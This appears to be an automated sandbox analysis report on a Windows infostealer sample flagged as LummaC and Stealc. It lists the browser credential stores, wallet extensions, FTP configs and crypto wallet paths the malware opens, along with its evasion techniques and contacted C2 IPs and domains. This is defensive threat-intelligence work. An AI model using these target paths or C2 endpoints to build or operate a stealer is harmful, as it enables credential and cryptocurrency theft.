Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\FTPbox Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\FTPRush Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Searches for user specific document files
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Directory queried: C:\Users\user\Documents\VWDFPKGDUF Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Directory queried: C:\Users\user\Documents\VWDFPKGDUF Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Directory queried: C:\Users\user\Documents\NYMMPCEIMA Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008255001\5a0a40fcc4.exe Directory queried: C:\Users\user\Documents\NYMMPCEIMA Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000009.00000003.3038070744.0000000001456000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.3106081827.0000000001456000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.3113079591.0000000001459000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.3076950434.0000000001456000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.3115145912.0000000001459000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.3152617438.0000000001457000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000003.3108086331.0000000001459000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 5a0a40fcc4.exe PID: 516, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Credential Flusher
Source: Yara match File source: 0000001D.00000003.3109316415.00000000016D3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 3018c3d2e6.exe PID: 5176, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: 3018c3d2e6.exe PID: 2548, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: Process Memory Space: 5a0a40fcc4.exe PID: 516, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 0000001B.00000002.3145146788.0000000000D81000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000003.2894295359.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.3143929621.0000000000BC7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2940799931.000000000170E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000003.3056137310.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2938536247.0000000000D81000.00000040.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: eec95b2021.exe PID: 5260, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: eec95b2021.exe PID: 6476, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1561175 Sample: file.exe Startdate: 22/11/2024 Architecture: WINDOWS Score: 100 82 youtube.com 2->82 84 telemetry-incoming.r53-2.services.mozilla.com 2->84 86 18 other IPs or domains 2->86 106 Suricata IDS alerts for network traffic 2->106 108 Found malware configuration 2->108 110 Antivirus detection for URL or domain 2->110 112 15 other signatures 2->112 9 skotes.exe 4 32 2->9         started        14 file.exe 5 2->14         started        16 5a0a40fcc4.exe 2->16         started        18 6 other processes 2->18 signatures3 process4 dnsIp5 100 185.215.113.43, 49809, 49815, 49837 WHOLESALECONNECTIONSNL Portugal 9->100 102 103.130.147.211, 49932, 80 MYREPUBLIC-AS-IDPTEkaMasRepublikID Turkey 9->102 104 2 other IPs or domains 9->104 70 C:\Users\user\AppData\Local\Temp\...\4.exe, PE32 9->70 dropped 72 C:\Users\user\AppData\...\a6260c40a9.exe, PE32 9->72 dropped 74 C:\Users\user\AppData\...\3018c3d2e6.exe, PE32 9->74 dropped 80 7 other malicious files 9->80 dropped 136 Creates multiple autostart registry keys 9->136 138 Hides threads from debuggers 9->138 140 Tries to detect sandboxes / dynamic malware analysis system (registry check) 9->140 20 a6260c40a9.exe 9->20         started        23 5a0a40fcc4.exe 9->23         started        26 eec95b2021.exe 13 9->26         started        36 2 other processes 9->36 76 C:\Users\user\AppData\Local\...\skotes.exe, PE32 14->76 dropped 78 C:\Users\user\...\skotes.exe:Zone.Identifier, ASCII 14->78 dropped 142 Detected unpacking (changes PE section rights) 14->142 144 Tries to evade debugger and weak emulator (self modifying code) 14->144 146 Tries to detect virtualization through RDTSC time measurements 14->146 28 skotes.exe 14->28         started        148 Query firmware table information (likely to detect VMs) 16->148 150 Tries to harvest and steal ftp login credentials 16->150 152 Tries to harvest and steal browser information (history, passwords, etc) 16->152 154 Tries to steal Crypto Currency Wallets 16->154 156 Binary is likely a compiled AutoIt script file 18->156 158 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 18->158 30 firefox.exe 18->30         started        32 firefox.exe 18->32         started        34 taskkill.exe 18->34         started        38 4 other processes 18->38 file6 signatures7 process8 dnsIp9 114 Multi AV Scanner detection for dropped file 20->114 116 Detected unpacking (changes PE section rights) 20->116 118 Machine Learning detection for dropped file 20->118 134 4 other signatures 20->134 88 property-imper.sbs 172.67.162.84, 443, 49841, 49850 CLOUDFLARENETUS United States 23->88 120 Antivirus detection for dropped file 23->120 122 Tries to detect sandboxes and other dynamic analysis tools (window names) 23->122 124 Tries to evade debugger and weak emulator (self modifying code) 23->124 90 185.215.113.206, 49864, 49931, 80 WHOLESALECONNECTIONSNL Portugal 26->90 126 Hides threads from debuggers 26->126 128 Tries to detect sandboxes / dynamic malware analysis system (registry check) 26->128 130 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 26->130 92 youtube.com 142.250.181.110, 443, 49907, 49908 GOOGLEUS United States 30->92 94 prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82, 49909, 49923, 49928 GOOGLEUS United States 30->94 98 5 other IPs or domains 30->98 40 firefox.exe 30->40         started        42 firefox.exe 30->42         started        44 firefox.exe 32->44         started        46 conhost.exe 34->46         started        96 home.sevkk17sr.top 45.8.229.86 RETN-ASEU Russian Federation 36->96 132 Binary is likely a compiled AutoIt script file 36->132 48 taskkill.exe 1 36->48         started        50 taskkill.exe 36->50         started        52 taskkill.exe 36->52         started        54 3 other processes 36->54 56 4 other processes 38->56 signatures10 process11 process12 58 firefox.exe 44->58         started        60 conhost.exe 48->60         started        62 conhost.exe 50->62         started        64 conhost.exe 52->64         started        66 conhost.exe 54->66         started        68 conhost.exe 54->68         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
103.130.147.211
 unknown Turkey
63859 MYREPUBLIC-AS-IDPTEkaMasRepublikID true
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
142.250.181.110
 youtube.com United States
15169 GOOGLEUS false
34.107.221.82
 prod.detectportal.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
172.67.162.84
 property-imper.sbs United States
13335 CLOUDFLARENETUS false
35.244.181.201
 prod.balrog.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
34.117.188.166
 contile.services.mozilla.com United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
45.8.229.86
 home.sevkk17sr.top Russian Federation
9002 RETN-ASEU false
185.215.113.206
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
35.190.72.216
 prod.classify-client.prod.webservices.mozgcp.net United States
15169 GOOGLEUS false
34.160.144.191
 prod.content-signature-chains.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false
31.41.244.11
 unknown Russian Federation
61974 AEROEXPRESS-ASRU false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
example.org 93.184.215.14 true
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
prod.balrog.prod.cloudops.mozgcp.net 35.244.181.201 true
prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 true
home.sevkk17sr.top 45.8.229.86 true
property-imper.sbs 172.67.162.84 true
prod.remote-settings.prod.webservices.mozgcp.net 34.149.100.209 true
contile.services.mozilla.com 34.117.188.166 true
youtube.com 142.250.181.110 true
prod.content-signature-chains.prod.webservices.mozgcp.net 34.160.144.191 true
ipv4only.arpa 192.0.0.171 true
prod.ads.prod.webservices.mozgcp.net 34.117.188.166 true
push.services.mozilla.com 34.107.243.93 true
telemetry-incoming.r53-2.services.mozilla.com 34.120.208.123 true
spocs.getpocket.com unknown unknown
detectportal.firefox.com unknown unknown
content-signature-2.cdn.mozilla.net unknown unknown
firefox.settings.services.mozilla.com unknown unknown
shavar.services.mozilla.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://185.215.113.206/ false
    		high
    https://property-imper.sbs/api true
    • Avira URL Cloud: safe
    		 unknown